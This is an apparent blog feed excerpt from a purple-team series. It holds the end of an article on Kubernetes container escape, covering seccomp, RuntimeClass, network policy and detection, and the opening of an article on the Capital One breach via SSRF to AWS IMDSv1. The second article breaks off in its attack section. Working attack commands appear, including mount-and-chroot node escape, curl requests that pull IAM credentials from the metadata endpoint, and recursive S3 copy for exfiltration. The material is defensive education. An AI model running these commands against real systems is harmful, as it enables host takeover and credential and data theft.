  -o json | jq -r &#039;.items[] | select(.message | contains(&quot;violates PodSecurity&quot;))&#039;
</code></pre>
<h3 id="fix-2-runtimeclass-hardware-level-isolation-for-untrusted-workloads">Fix 2: RuntimeClass — Hardware-Level Isolation for Untrusted Workloads</h3>
<p>For workloads that cannot run under Restricted profile (CNI plugins, monitoring agents, specific DaemonSets), the alternative is a stronger isolation boundary: a hypervisor-level runtime.</p>
<p>gVisor and Kata Containers intercept system calls at a layer between the container and the Linux kernel, so a container escape exploiting a kernel vulnerability or a privileged mount hits the sandbox boundary, not the host kernel.</p>
<pre><code class="" data-line=""># Define a RuntimeClass for gVisor (runsc)
# Requires gVisor installed on nodes with the runsc runtime handler
apiVersion: node.k8s.io/v1
kind: RuntimeClass
metadata:
  name: gvisor
handler: runsc   # must match the handler name in containerd/crio config
scheduling:
  nodeSelector:
    runtime.gvisor: &quot;true&quot;   # only schedule on nodes that have gVisor
---
# Use the RuntimeClass in a pod spec
apiVersion: v1
kind: Pod
metadata:
  name: untrusted-workload
spec:
  runtimeClassName: gvisor   # all syscalls go through gVisor&#039;s sentry
  containers:
    - name: app
      image: untrusted-image:latest
</code></pre>
<pre><code class="" data-line=""># Kata Containers: hardware VM boundary, not just a user-space syscall interceptor
apiVersion: node.k8s.io/v1
kind: RuntimeClass
metadata:
  name: kata-containers
handler: kata-qemu
</code></pre>
<blockquote>
<p><strong>For operators:</strong> gVisor and Kata Containers have compatibility trade-offs. Not all syscalls are supported in gVisor (it implements a subset of the Linux ABI). Kata Containers have higher startup latency (VM boot time). Benchmark your specific workload before enforcing these on production-critical pods.</p>
</blockquote>
<h3 id="fix-3-seccomp-profile-block-the-syscalls-that-enable-escape">Fix 3: Seccomp Profile — Block the Syscalls That Enable Escape</h3>
<p>Even without gVisor, a custom seccomp profile that explicitly denies <code class="" data-line="">mount</code>, <code class="" data-line="">unshare</code>, and <code class="" data-line="">clone</code> with namespace flags closes the primary escape syscall surface.</p>
<pre><code class="" data-line="">{
  &quot;defaultAction&quot;: &quot;SCMP_ACT_ERRNO&quot;,
  &quot;architectures&quot;: [&quot;SCMP_ARCH_X86_64&quot;, &quot;SCMP_ARCH_X86&quot;, &quot;SCMP_ARCH_X32&quot;],
  &quot;syscalls&quot;: [
    {
      &quot;names&quot;: [
        &quot;accept&quot;, &quot;accept4&quot;, &quot;access&quot;, &quot;arch_prctl&quot;,
        &quot;bind&quot;, &quot;brk&quot;, &quot;capget&quot;, &quot;capset&quot;,
        &quot;chdir&quot;, &quot;chmod&quot;, &quot;chown&quot;, &quot;clock_gettime&quot;,
        &quot;clone&quot;,
        &quot;close&quot;, &quot;connect&quot;,
        &quot;dup&quot;, &quot;dup2&quot;, &quot;dup3&quot;,
        &quot;execve&quot;, &quot;exit&quot;, &quot;exit_group&quot;,
        &quot;fchmod&quot;, &quot;fchown&quot;, &quot;fcntl&quot;,
        &quot;fstat&quot;, &quot;fstatfs&quot;, &quot;fsync&quot;,
        &quot;futex&quot;, &quot;getcwd&quot;, &quot;getdents64&quot;,
        &quot;getegid&quot;, &quot;geteuid&quot;, &quot;getgid&quot;, &quot;getgroups&quot;,
        &quot;getpeername&quot;, &quot;getpid&quot;, &quot;getppid&quot;,
        &quot;getrlimit&quot;, &quot;getsockname&quot;, &quot;getsockopt&quot;,
        &quot;gettid&quot;, &quot;gettimeofday&quot;, &quot;getuid&quot;,
        &quot;inotify_add_watch&quot;, &quot;inotify_init1&quot;,
        &quot;listen&quot;, &quot;lseek&quot;, &quot;lstat&quot;,
        &quot;madvise&quot;, &quot;mmap&quot;, &quot;mprotect&quot;,
        &quot;munmap&quot;, &quot;nanosleep&quot;,
        &quot;open&quot;, &quot;openat&quot;,
        &quot;pipe&quot;, &quot;pipe2&quot;, &quot;poll&quot;, &quot;ppoll&quot;,
        &quot;prctl&quot;, &quot;pread64&quot;, &quot;pwrite64&quot;,
        &quot;read&quot;, &quot;readlink&quot;, &quot;readv&quot;,
        &quot;recvfrom&quot;, &quot;recvmsg&quot;, &quot;recvmmsg&quot;,
        &quot;rename&quot;, &quot;rt_sigaction&quot;, &quot;rt_sigprocmask&quot;,
        &quot;rt_sigreturn&quot;, &quot;sched_getaffinity&quot;,
        &quot;select&quot;, &quot;sendfile&quot;, &quot;sendmsg&quot;, &quot;sendto&quot;,
        &quot;set_robust_list&quot;, &quot;set_tid_address&quot;,
        &quot;setgid&quot;, &quot;setgroups&quot;, &quot;setuid&quot;,
        &quot;setsockopt&quot;, &quot;shutdown&quot;,
        &quot;socket&quot;, &quot;socketpair&quot;,
        &quot;stat&quot;, &quot;statfs&quot;, &quot;symlink&quot;,
        &quot;tgkill&quot;, &quot;time&quot;, &quot;timerfd_create&quot;,
        &quot;timerfd_settime&quot;, &quot;truncate&quot;,
        &quot;uname&quot;, &quot;unlink&quot;, &quot;unlinkat&quot;,
        &quot;wait4&quot;, &quot;waitid&quot;,
        &quot;write&quot;, &quot;writev&quot;
      ],
      &quot;action&quot;: &quot;SCMP_ACT_ALLOW&quot;
    }
  ]
}
</code></pre>
<p>Apply via pod spec:</p>
<pre><code class="" data-line="">spec:
  securityContext:
    seccompProfile:
      type: Localhost
      localhostProfile: &quot;container-escape-block.json&quot;
      # Profile must be in /var/lib/kubelet/seccomp/ on each node
</code></pre>
<pre><code class="" data-line=""># Distribute the seccomp profile to all nodes via DaemonSet
# Example using a DaemonSet that copies the profile file on startup
# (or use the built-in RuntimeDefault which blocks ~300 dangerous syscalls)

# RuntimeDefault blocks: mount, unshare, clone with new-ns flags,
# add_key, keyctl, request_key, pivot_root — adequate for most workloads
spec:
  securityContext:
    seccompProfile:
      type: RuntimeDefault
</code></pre>
<h3 id="fix-4-network-policy-contain-the-blast-radius-after-escape">Fix 4: Network Policy — Contain the Blast Radius After Escape</h3>
<p>Even if a container escapes to the node, a network policy that prevents the escaped process from reaching the Kubernetes API server limits what the attacker can do with node credentials.</p>
<pre><code class="" data-line=""># Deny all egress from application namespace to Kubernetes API server
# The API server typically runs on port 6443 on the control plane nodes
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: block-api-server-egress
  namespace: production
spec:
  podSelector: {}       # applies to all pods in namespace
  policyTypes:
    - Egress
  egress:
    # Allow DNS
    - ports:
        - protocol: UDP
          port: 53
    # Allow application traffic (customize per workload)
    - to:
        - namespaceSelector:
            matchLabels:
              kubernetes.io/metadata.name: production
    # Explicitly: no rule allowing egress to control plane CIDR
    # This is a deny-by-absence — egress to control plane falls through to default deny
</code></pre>
<pre><code class="" data-line=""># Also block pod-to-pod communication across namespaces
# to prevent an escaped pod from pivoting to other workloads
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: default-deny-all
  namespace: production
spec:
  podSelector: {}
  policyTypes:
    - Ingress
    - Egress
  # No ingress or egress rules = deny all
  # Add specific rules above this as needed
</code></pre>
<h3 id="fix-5-node-isolation-co-location-risk">Fix 5: Node Isolation — Co-location Risk</h3>
<p>An internet-facing pod and a pod with access to sensitive internal services should not share a node. If the internet-facing pod escapes, it reaches the node&#8217;s credentials and can pivot to anything else scheduled on that node.</p>
<pre><code class="" data-line=""># Use node selectors, taints, and tolerations to separate workload tiers

# Taint sensitive nodes so only specific workloads schedule there
kubectl taint nodes sensitive-node-1 workload-tier=sensitive:NoSchedule

# Internet-facing pods: dedicated public-tier nodes
# Internal/privileged pods: dedicated sensitive-tier nodes

# Pod spec for internet-facing workload — only schedules on public nodes
spec:
  nodeSelector:
    workload-tier: public
  tolerations: []   # No toleration for sensitive node taint

# Pod spec for sensitive workload — only schedules on sensitive nodes
spec:
  nodeSelector:
    workload-tier: sensitive
  tolerations:
    - key: workload-tier
      operator: Equal
      value: sensitive
      effect: NoSchedule
</code></pre>
<hr />
<h2 id="production-gotchas"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Production Gotchas</h2>
<p><strong>Legitimate workloads that require &#8211;privileged or hostPID.</strong> CNI plugins (Cilium, Calico, Flannel node agents), node-local-dns, monitoring agents (node exporters, eBPF-based agents like Tetragon itself), and storage drivers often need elevated access. Blanket enforcement of Restricted profile without exceptions breaks these workloads. The approach: enforce Restricted on application namespaces; use a dedicated namespace for infrastructure DaemonSets with the Baseline or Privileged policy and compensate with Falco detection and node isolation.</p>
<p><strong>Seccomp Restricted blocks some monitoring agents.</strong> The default Restricted seccomp profile blocks several syscalls that APM agents and profiling tools use. Run <code class="" data-line="">strace -c -f ./your-agent</code> to capture the syscall profile of your monitoring agent before enforcing Restricted. Common culprits: <code class="" data-line="">perf_event_open</code> (used by profilers), <code class="" data-line="">ptrace</code> (used by some debuggers), <code class="" data-line="">bpf</code> (used by eBPF-based tools). Add these to an allowlist seccomp profile rather than running the agent without any profile.</p>
<p><strong>runc CVEs require node patching, not policy.</strong> PodSecurity admission and Falco rules protect against configuration-based escapes. A vulnerability in runc, containerd, or the Linux kernel itself bypasses policy-based controls entirely. Keep container runtime versions current; enable automatic node OS patching (Bottlerocket, Flatcar Linux) if your infrastructure allows it. Subscribe to CVE feeds for containerd (<code class="" data-line="">containerd/containerd</code>) and runc (<code class="" data-line="">opencontainers/runc</code>) specifically.</p>
<p><strong>hostPath volumes are a partial equivalent to &#8211;privileged.</strong> A pod without <code class="" data-line="">--privileged</code> but with a hostPath volume mounting <code class="" data-line="">/etc</code> or <code class="" data-line="">/var/lib/kubelet</code> can read node credentials without needing to mount a block device. PodSecurity Restricted blocks hostPath entirely; Baseline allows it. Audit for hostPath volumes separately from <code class="" data-line="">--privileged</code>.</p>
<p><strong>RuntimeClass with gVisor has syscall compatibility gaps.</strong> Applications that use <code class="" data-line="">io_uring</code>, certain socket options, or kernel modules will not work under gVisor&#8217;s sentry. Test in staging before deploying to production. The gVisor compatibility matrix is documented at gvisor.dev/docs/user_guide/compatibility — check it for any application that does direct filesystem I/O at high volume (databases, high-throughput queues) as the overhead may be unacceptable even if the syscalls are supported.</p>
<hr />
<h2 id="quick-reference">Quick Reference</h2>
<table>
<thead>
<tr>
<th>Escape Path</th>
<th>Precondition</th>
<th>Detection Signal</th>
<th>Structural Fix</th>
</tr>
</thead>
<tbody>
<tr>
<td>Privileged container → mount</td>
<td><code class="" data-line="">privileged: true</code></td>
<td>Falco: mount syscall from container; Tetragon: sys_mount kprobe</td>
<td>PodSecurity Restricted enforce; seccomp blocks mount</td>
</tr>
<tr>
<td>hostPID + nsenter</td>
<td><code class="" data-line="">hostPID: true</code></td>
<td>Falco: nsenter exec in container; audit log: pod creation with hostPID</td>
<td>PodSecurity Restricted; blocks hostPID</td>
</tr>
<tr>
<td>hostNetwork + IMDS</td>
<td><code class="" data-line="">hostNetwork: true</code></td>
<td>CloudTrail: IMDSv1 call from unexpected source</td>
<td>Enforce IMDSv2 hop limit 1; PodSecurity Restricted</td>
</tr>
<tr>
<td>runc CVE (CVE-2019-5736)</td>
<td>Unpatched runc</td>
<td>Tetragon: vfs_write to /proc/self/exe</td>
<td>Patch runc/containerd; use RuntimeClass (gVisor)</td>
</tr>
<tr>
<td>hostPath volume mount</td>
<td>hostPath to sensitive path</td>
<td>Falco: sensitive host file access; PodSecurity audit</td>
<td>PodSecurity Restricted (blocks hostPath)</td>
</tr>
<tr>
<td>Escaped → API server</td>
<td>Node credential access</td>
<td>Audit log: API calls from node IP at unexpected time</td>
<td>Network policy blocking node→API server egress</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li><strong>Kubernetes container escape</strong> starts at the kernel: <code class="" data-line="">--privileged</code>, <code class="" data-line="">hostPID</code>, and <code class="" data-line="">hostNetwork</code> remove Linux namespace and cgroup isolation — the Kubernetes API cannot prevent what happens inside a process that runs with those flags</li>
<li>Two commands from privileged container to root on the node: <code class="" data-line="">mount /dev/sda1 /mnt/host</code> and <code class="" data-line="">chroot /mnt/host /bin/bash</code> — this is not a sophisticated exploit, it is a default kernel behavior</li>
<li>eBPF detection (Falco, Tetragon) operates at the syscall level and catches the escape in progress; Kubernetes audit logs only catch the misconfigured pod creation, not the exploitation</li>
<li>PodSecurity Restricted enforcement at the namespace level is the structural fix for configuration-based escapes — it blocks <code class="" data-line="">--privileged</code>, <code class="" data-line="">hostPID</code>, <code class="" data-line="">hostNetwork</code>, and hostPath volumes before a pod schedules</li>
<li>runc-class CVEs are independent of configuration — node-level patching and RuntimeClass (gVisor/Kata) isolation are the controls, not policy enforcement</li>
<li>Network policy as a secondary layer limits post-escape lateral movement: a container that escapes to the node should not be able to reach the API server with stolen node credentials</li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>Container escape requires access to a running pod. But what if the attacker didn&#8217;t need to exploit anything at runtime — they shipped the attack as a dependency your build pipeline trusted? EP09 covers supply chain attacks from SolarWinds to XZ Utils: how a malicious package or a compromised build step becomes arbitrary code execution before the container ever runs, the detection patterns that are specific to supply chain compromise (dependency confusion, typosquatting, malicious maintainer takeovers), and the SLSA framework controls that create a verifiable chain of custody from source to deployed artifact.</p>
<p>Get EP09 in your inbox when it publishes → <a href="#subscribe">subscribe at linuxcent.com</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Fkubernetes-container-escape-attack-paths%2F&amp;linkname=Kubernetes%20Container%20Escape%3A%20Attack%20Paths%20and%20eBPF%20Detection" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Fkubernetes-container-escape-attack-paths%2F&amp;linkname=Kubernetes%20Container%20Escape%3A%20Attack%20Paths%20and%20eBPF%20Detection" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Fkubernetes-container-escape-attack-paths%2F&amp;linkname=Kubernetes%20Container%20Escape%3A%20Attack%20Paths%20and%20eBPF%20Detection" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Fkubernetes-container-escape-attack-paths%2F&amp;linkname=Kubernetes%20Container%20Escape%3A%20Attack%20Paths%20and%20eBPF%20Detection" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Fkubernetes-container-escape-attack-paths%2F&amp;linkname=Kubernetes%20Container%20Escape%3A%20Attack%20Paths%20and%20eBPF%20Detection" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Fkubernetes-container-escape-attack-paths%2F&amp;linkname=Kubernetes%20Container%20Escape%3A%20Attack%20Paths%20and%20eBPF%20Detection" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Fkubernetes-container-escape-attack-paths%2F&amp;linkname=Kubernetes%20Container%20Escape%3A%20Attack%20Paths%20and%20eBPF%20Detection" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Fkubernetes-container-escape-attack-paths%2F&#038;title=Kubernetes%20Container%20Escape%3A%20Attack%20Paths%20and%20eBPF%20Detection" data-a2a-url="https://linuxcent.com/kubernetes-container-escape-attack-paths/" data-a2a-title="Kubernetes Container Escape: Attack Paths and eBPF Detection"></a></p><p>The post <a href="https://linuxcent.com/kubernetes-container-escape-attack-paths/">Kubernetes Container Escape: Attack Paths and eBPF Detection</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/kubernetes-container-escape-attack-paths/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1864</post-id>	</item>
		<item>
		<title>SSRF to Cloud Metadata: How IMDSv1 Enabled the Capital One Breach</title>
		<link>https://linuxcent.com/ssrf-cloud-metadata-imds-capital-one/</link>
					<comments>https://linuxcent.com/ssrf-cloud-metadata-imds-capital-one/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Mon, 22 Jun 2026 02:00:00 +0000</pubDate>
				<category><![CDATA[Purple Team]]></category>
		<category><![CDATA[AWS]]></category>
		<category><![CDATA[Capital One]]></category>
		<category><![CDATA[Cloud Security]]></category>
		<category><![CDATA[IMDS]]></category>
		<category><![CDATA[IMDSv2]]></category>
		<category><![CDATA[SSRF]]></category>
		<guid isPermaLink="false">https://linuxcent.com/?p=1861</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 15</span> <span class="rt-label rt-postfix">minutes</span></span>SSRF to IMDSv1 is a straight line to IAM credentials — Capital One proved it at 100M-record scale. How the attack chain works and why IMDSv2 enforcement is non-negotiable.</p>
<p>The post <a href="https://linuxcent.com/ssrf-cloud-metadata-imds-capital-one/">SSRF to Cloud Metadata: How IMDSv1 Enabled the Capital One Breach</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 15</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<p><a href="/what-is-purple-team-security/">What Is Purple Team?</a> → <a href="/owasp-top-10-cloud-infrastructure/">OWASP Top 10 Cloud</a> → <a href="/cloud-security-breaches-2020-2025/">Breach Landscape 2020–2025</a> → <a href="/broken-access-control-aws-cloud/">Broken Access Control</a> → <a href="/mfa-fatigue-attack-uber-okta/">MFA Fatigue</a> → <a href="/cicd-secrets-exposure-supply-chain/">CI/CD Secrets</a> → <strong>SSRF to Cloud Metadata</strong></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li><strong>SSRF cloud metadata attack</strong> is OWASP A10: an attacker exploits a server-side request forgery vulnerability to reach <code class="" data-line="">169.254.169.254</code> — the EC2 Instance Metadata Service — and retrieve IAM role credentials without authentication</li>
<li>IMDSv1 (the default before 2019) requires no authentication token; any HTTP request from the instance to the IMDS endpoint returns credentials — SSRF anywhere in the stack is sufficient</li>
<li>Capital One (2019): a misconfigured WAF running on EC2 had an SSRF vulnerability → attacker hit the IMDS endpoint → retrieved IAM role credentials → enumerated and exfiltrated over 100 million customer records from S3; $190M settlement</li>
<li>IMDSv2 requires a PUT request to obtain a session token first — a CSRF/SSRF-blocked flow — making the IMDS resistant to standard SSRF exploitation; <code class="" data-line="">--http-tokens required</code> is the one-line enforcement</li>
<li>Hop limit of 1 is the container-layer defense: it prevents any process inside a container from reaching IMDS because the TTL expires before the packet traverses the additional network layer</li>
<li>The structural fix is eliminating the credential entirely: <a href="/workload-identity-oidc-service-accounts/">OIDC workload identity eliminates static credentials</a> replaces the attached IAM role with a dynamically issued, scoped token — no IMDS credential to steal</li>
</ul>
<hr />
<blockquote>
<p><strong>OWASP Mapping:</strong> A10 — Server-Side Request Forgery (SSRF). The attacker causes the server to make a request to an unintended destination — in this case, the link-local metadata endpoint that returns cloud IAM credentials.</p>
</blockquote>
<hr />
<h2 id="the-big-picture">The Big Picture</h2>
<pre><code class="" data-line="">┌─────────────────────────────────────────────────────────────────────────┐
│                    SSRF → IMDS → CREDENTIAL CHAIN                       │
│                                                                         │
│   ATTACKER                                                              │
│      │                                                                  │
│      │  1. Discovers SSRF in web app (WAF, proxy, image fetch, etc.)    │
│      │                                                                  │
│      ▼                                                                  │
│   WEB APP / WAF (running on EC2)                                        │
│      │                                                                  │
│      │  2. App follows attacker-controlled URL                          │
│      │     GET http://169.254.169.254/latest/meta-data/                 │
│      │     iam/security-credentials/ROLE_NAME                          │
│      ▼                                                                  │
│   EC2 INSTANCE METADATA SERVICE (IMDSv1 — no auth required)            │
│      │                                                                  │
│      │  3. Returns JSON: AccessKeyId, SecretAccessKey, Token            │
│      ▼                                                                  │
│   ATTACKER (now has temporary IAM credentials)                          │
│      │                                                                  │
│      │  4. aws sts get-caller-identity → confirm identity               │
│      │  5. aws s3 ls → enumerate all accessible buckets                 │
│      │  6. aws s3 cp s3://target-bucket/ . --recursive                  │
│      ▼                                                                  │
│   100M+ customer records exfiltrated                                    │
│                                                                         │
│   ─────────────────────────────────────────────────────────────────     │
│   IMDSv2 BREAKS THIS CHAIN AT STEP 2                                    │
│   PUT /latest/api/token required first → SSRF can&#039;t follow             │
│   (SSRF typically cannot initiate a PUT before a GET)                   │
│                                                                         │
└─────────────────────────────────────────────────────────────────────────┘
</code></pre>
<p>The <strong>SSRF cloud metadata attack</strong> chain is short enough to fit in a single diagram because there are only three moving parts: the SSRF vulnerability, an unauthenticated metadata endpoint, and the IAM credentials waiting behind it. Remove any one of those three elements and the chain breaks. Capital One had all three.</p>
<hr />
<h2 id="the-incident-capital-one-2019">The Incident: Capital One (2019)</h2>
<p>In March 2019, a misconfigured WAF at Capital One was running on AWS EC2. The WAF was a commercial product deployed in an EC2 instance with an attached IAM role — standard practice, necessary for the WAF to interact with other AWS services.</p>
<p>The attacker, later identified as Paige Thompson (arrested July 2019, former AWS engineer), found an SSRF vulnerability in the WAF&#8217;s configuration. The exact misconfiguration has been described as a firewall rule that allowed the instance to make outbound requests to internal destinations, including the link-local metadata endpoint.</p>
<p>The attack chain, reconstructed from court documents and Capital One&#8217;s public disclosures:</p>
<pre><code class="" data-line="">1. Identify SSRF in WAF
   ├── WAF accepts HTTP requests and forwards them to backend
   └── Attacker crafts request that causes WAF to make outbound HTTP call
       to attacker-controlled destination — confirms SSRF exists

2. Target the IMDS endpoint
   └── http://169.254.169.254/latest/meta-data/iam/security-credentials/
       (link-local address, reachable only from within the EC2 instance)

3. Enumerate the attached role
   └── http://169.254.169.254/latest/meta-data/iam/security-credentials/
       → returns role name: &quot;capital-one-waf-role&quot; (illustrative)

4. Retrieve the credentials
   └── http://169.254.169.254/latest/meta-data/iam/security-credentials/capital-one-waf-role
       → returns: AccessKeyId, SecretAccessKey, Token, Expiration

5. Export credentials to attacker-controlled system
   └── The SSRF response body contains the JSON credential blob
       Attacker exfiltrates the JSON out-of-band

6. Use credentials from external system
   ├── aws configure (with stolen AccessKeyId, SecretAccessKey, Token)
   ├── aws sts get-caller-identity → confirm IAM role identity
   ├── aws s3 ls → lists all S3 buckets the role can see
   └── aws s3 cp s3://[capital-one-bucket]/ . --recursive
       → 106 million customer records
       → 140,000 Social Security numbers
       → 80,000 bank account numbers
</code></pre>
<p>IMDSv1 required no authentication. The WAF&#8217;s attached IAM role had <code class="" data-line="">s3:GetObject</code> and <code class="" data-line="">s3:ListBucket</code> permissions scoped broadly enough to reach the data buckets. The SSRF was the entry point; the unauthenticated metadata endpoint was the amplifier; the overly permissive IAM role was the impact multiplier.</p>
<p>Capital One paid a $190M settlement. AWS did not change IMDSv1 as a result — they had already released IMDSv2 in November 2019, months after the breach was discovered (July 2019). The breach timeline predates IMDSv2 availability. What it demonstrated was not a zero-day but a known architectural weakness that had been present since EC2 launched.</p>
<p>The revelation that the industry took away: <strong>IMDSv1 has no authentication. Any SSRF vulnerability anywhere in your stack — in the application, in a WAF, in a sidecar, in a Lambda calling your EC2 — is a straight line to your IAM role credentials.</strong> The SSRF doesn&#8217;t need to be severe or complex. It just needs to reach <code class="" data-line="">169.254.169.254</code>.</p>
<hr />
<h2 id="red-phase-how-the-attack-works">Red Phase: How the Attack Works</h2>
<h3 id="what-ssrf-is">What SSRF Is</h3>
<p>Server-Side Request Forgery is a vulnerability class where an attacker can cause the server to make HTTP requests to destinations of the attacker&#8217;s choosing. The server acts as a proxy: the request originates from the server&#8217;s network context, not the attacker&#8217;s. This is what makes it dangerous in cloud environments — the server has access to link-local addresses, VPC-internal services, and cloud metadata endpoints that the attacker cannot reach directly from the internet.</p>
<p>SSRF surfaces in any feature that causes the server to fetch a URL on behalf of the user:<br />
&#8211; Image URL upload/preview (e.g., &#8220;fetch this avatar URL&#8221;)<br />
&#8211; Webhook configuration (server calls a URL you provide)<br />
&#8211; PDF generation from URL<br />
&#8211; Reverse proxies and WAFs with request-forwarding rules<br />
&#8211; Server-side URL validation endpoints</p>
<h3 id="why-the-metadata-endpoint-is-the-target">Why the Metadata Endpoint Is the Target</h3>
<p><code class="" data-line="">169.254.169.254</code> is the IPv4 link-local address AWS reserves for the Instance Metadata Service (IMDS). It is only reachable from within the EC2 instance itself — not from the VPC, not from the internet. Every EC2 instance has it. No security group rule can block it because it does not traverse the VPC network stack. It is a hypervisor-level endpoint injected into the instance.</p>
<p>The IMDS endpoint serves instance-specific data: instance ID, AMI ID, region, availability zone, network interfaces — and, critically, the temporary credentials for any IAM role attached to the instance.</p>
<pre><code class="" data-line=""># (IMDSv1 — no token required, works with a plain curl)

# Step 1: Enumerate what&#039;s available under iam/
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Output: the name of the attached IAM role
# Example output: MyApplicationRole

# Step 2: Retrieve the credentials for that role
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/MyApplicationRole
</code></pre>
<p>The response from Step 2 looks like this:</p>
<pre><code class="" data-line="">{
  &quot;Code&quot;: &quot;Success&quot;,
  &quot;LastUpdated&quot;: &quot;2019-03-22T18:03:30Z&quot;,
  &quot;Type&quot;: &quot;AWS-HMAC&quot;,
  &quot;AccessKeyId&quot;: &quot;ASIAQFAKEKEYIDEXAMPLE&quot;,
  &quot;SecretAccessKey&quot;: &quot;wJalrXUtnFEMI/K7MDENG/bPxRfiCYFAKESECRETKEY&quot;,
  &quot;Token&quot;: &quot;FQoDYXdzEJr//////////wEa...very-long-session-token...==&quot;,
  &quot;Expiration&quot;: &quot;2019-03-22T24:03:30Z&quot;
}
</code></pre>
<p>These are real, valid AWS temporary credentials. The <code class="" data-line="">Token</code> field is the STS session token. All three values together authenticate as the IAM role attached to the instance, with whatever permissions that role has been granted.</p>
<h3 id="the-full-attack-chain">The Full Attack Chain</h3>
